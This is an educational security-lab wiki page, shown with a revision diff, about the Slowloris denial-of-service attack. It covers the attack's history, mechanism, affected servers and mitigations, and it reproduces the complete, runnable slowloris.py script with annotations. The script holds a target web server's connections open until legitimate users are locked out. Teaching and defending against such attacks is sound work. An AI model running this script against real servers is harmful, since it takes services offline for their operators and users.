Difference between revisions of "Slow Loris DoS Attack"

From Embedded Lab Vienna for IoT & Security
Jump to navigation Jump to search
Line 33: Line 33:
* Netscaler
* Netscaler
* Cisco CSS (verified by user community)
* Cisco CSS (verified by user community)
=== Mitigating the Slow Loris Attack  ===
The slow loris attack is really hard to detect because the connections are used the legitimate way, but there are some ways to mitigate the attack:
*Increase the server availability
Increasing the allowed connections can help against a little attacker but it comes a financial effort. A little web page like a Blog would make more financial loss by spending extra money for server resources than being offline for a day.
*Restrict the connections of one user
Restricting the number of connections that one user can be easily avoided by spoofing a random IP address for every connection. Furthermore, attacks on big websites come from [[botnets]] with thousands of different devices and IP addresses.
*Using reverse proxies, firewalls or load balancers 


=== Examine the Source code of slowloris.py ===
=== Examine the Source code of slowloris.py ===
 
https://gist.github.com/gkbrk/5de70f35e69343718431#file-slowloris-py
https://gist.github.com/gkbrk/5de70f35e69343718431#file-slowloris-py



Revision as of 12:33, 4 May 2020

Summary

Description what this documentation is about

Description

Slow Loris was invented by Robert Hansen “RSnake” and got published in June 2009. This Denial of service (DoS) Attack belongs of the category of Low and Slow Attacks. This type of DoS attack doesn't need a tremendous amount of computing power or bandwidth to make a big impact. Furthermore, it is possible to take down a small website with the use of only PC that doesn’t even runs under full load during the attack.

The attack works only at a portion of Web server programs like Apache because it attacks a specific design decision of the connection management. Apache is designed to allow only a predefined number of connections, which can be edited in the configuration file. The sow loris this vulnerability by opening a huge amount of connections and keeps them alive during the attack. This fills up the available connections of the web server and restricts a legitimate user to access the web server.

The Slow Loris attack is keeping all its connections alive by exploiting another inconvenience of the http protocol. Http is designed to keep connections alive until the whole the whole Request is sent or there is not send any data for a period of time and a timer exceeds. This design decision is needed for extremely slow connections, which are quite common in 1991 when HTTP came out. Slow Loris is abusing this feature by never ending the and sending little header packets of a handful bytes.

SlowLorisDoSAttack.png

The figure shows one http connection of the original implementation. It starts by sending the Get request line followed by the User agent information and the accepted language. Then the exploit takes place by sending a random number to the X-a HTTP header field every fifteen seconds without closing the request. HTTP allows custom header fields which always start with “X-”.

Affected Webservers

RSnake stated in the documentation [1] that the following web servers were affected by the time the he published the source code:

  • Apache 1.x
  • Apache 2.x
  • dhttpd
  • GoAhead WebServer

He also stated that that following web servers were not affected due to a different connection management design:

  • IIS6.0
  • IIS7.0
  • lighttpd
  • Squid
  • nginx
  • Cherokee (verified by user community)
  • Netscaler
  • Cisco CSS (verified by user community)

Mitigating the Slow Loris Attack

The slow loris attack is really hard to detect because the connections are used the legitimate way, but there are some ways to mitigate the attack:

  • Increase the server availability

Increasing the allowed connections can help against a little attacker but it comes a financial effort. A little web page like a Blog would make more financial loss by spending extra money for server resources than being offline for a day.

  • Restrict the connections of one user

Restricting the number of connections that one user can be easily avoided by spoofing a random IP address for every connection. Furthermore, attacks on big websites come from botnets with thousands of different devices and IP addresses.

  • Using reverse proxies, firewalls or load balancers


Examine the Source code of slowloris.py

https://gist.github.com/gkbrk/5de70f35e69343718431#file-slowloris-py

 1 |  import socket     --------------------------------------------------------------------------------------|
 2 |  import random                                                                                           | Library Imports
 3 |  import time                                                                                             |
 4 |  import sys     -----------------------------------------------------------------------------------------|
 5 |
 6 |  log_level = 2     --------------------------------------------------------------------------------------|
 7 |                                                                                                          |
 8 |  def log(text, level=1):                                                                                 | Defining the Log Function
 9 |      if log_level >= level:                                                                              |
 10|          print(text)     --------------------------------------------------------------------------------|
 11|
 12|  list_of_sockets = []     ------------------------------------------------------------------------------- Creating a Socket list
 13|  
 14|  regular_headers = [     --------------------------------------------------------------------------------| 
 15|      "User-agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",                    | Defining HTTP header values
 16|      "Accept-language: en-US,en,q=0.5"]     -------------------------------------------------------------|
 17|
 18|  ip = sys.argv[1]    ------------------------------------------------------------------------------------|
 19|  socket_count = 100                                                                                      | Defining the IP address and 
 20|  log("Attacking {} with {} sockets.".format(ip, socket_count))     --------------------------------------| the amount of connections
 21|
 22|  log("Creating sockets...")     -------------------------------------------------------------------------|
 23|  for _ in range(socket_count):                                                                           | Creating Sockets and adding  
 24|      try:                                                                                                | them to the Socket list
 25|          log("Creating socket nr {}".format(_), level=2)                                                 |
 26|          s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                                           |
 27|          s.settimeout(4)                                                                                 |
 28|          s.connect((ip, 80))                                                                             |
 29|      except socket.error:                                                                                |
 30|          break                                                                                           |
 31|      list_of_sockets.append(s)     ----------------------------------------------------------------------|
 32|
 33|  log("Setting up the sockets...")      ------------------------------------------------------------------|
 34|  for s in list_of_sockets:                                                                               |
 35|      s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))                     | Sending the initial
 36|      for header in regular_headers:                                                                      |  Header fields
 37|          s.send(bytes("{}\r\n".format(header).encode("utf-8")))     -------------------------------------|
 38|
 39|  while True:      ---------------------------------------------------------------------------------------|
 40|      log("Sending keep-alive headers...")                                                                | Sending every 15 seconds
 41|      for s in list_of_sockets:                                                                           | a random value to the X-a 
 42|          try:                                                                                            | header filed.
 43|              s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))                       | Also checking if the
 44|          except socket.error:                                                                            | socket got disconnected 
 45|              list_of_sockets.remove(s)                                                                   | and create a new one if 
 46|              try:                                                                                        | it is the case
 47|                  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                                   |
 48|                  s.settimeout(4)                                                                         |
 49|                  s.connect((ip, 80))                                                                     |
 50|                  for s in list_of_sockets:                                                               |
 51|                      s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))     |
 52|                      for header in regular_headers:                                                      |
 53|                          s.send(bytes("{}\r\n".format(header).encode("utf-8")))                          |
 54|              except socket.error:                                                                        |
 55|                  continue                                                                                |
 56|                                                                                                          |
 57|      time.sleep(15)      --------------------------------------------------------------------------------|

References

[1] https://web.archive.org/web/20150426090206/http://ha.ckers.org/slowloris

[2] https://en.m.wikipedia.org/wiki/Slowloris_(computer_security)

[3] https://gist.github.com/gkbrk/5de70f35e69343718431#file-slowloris-py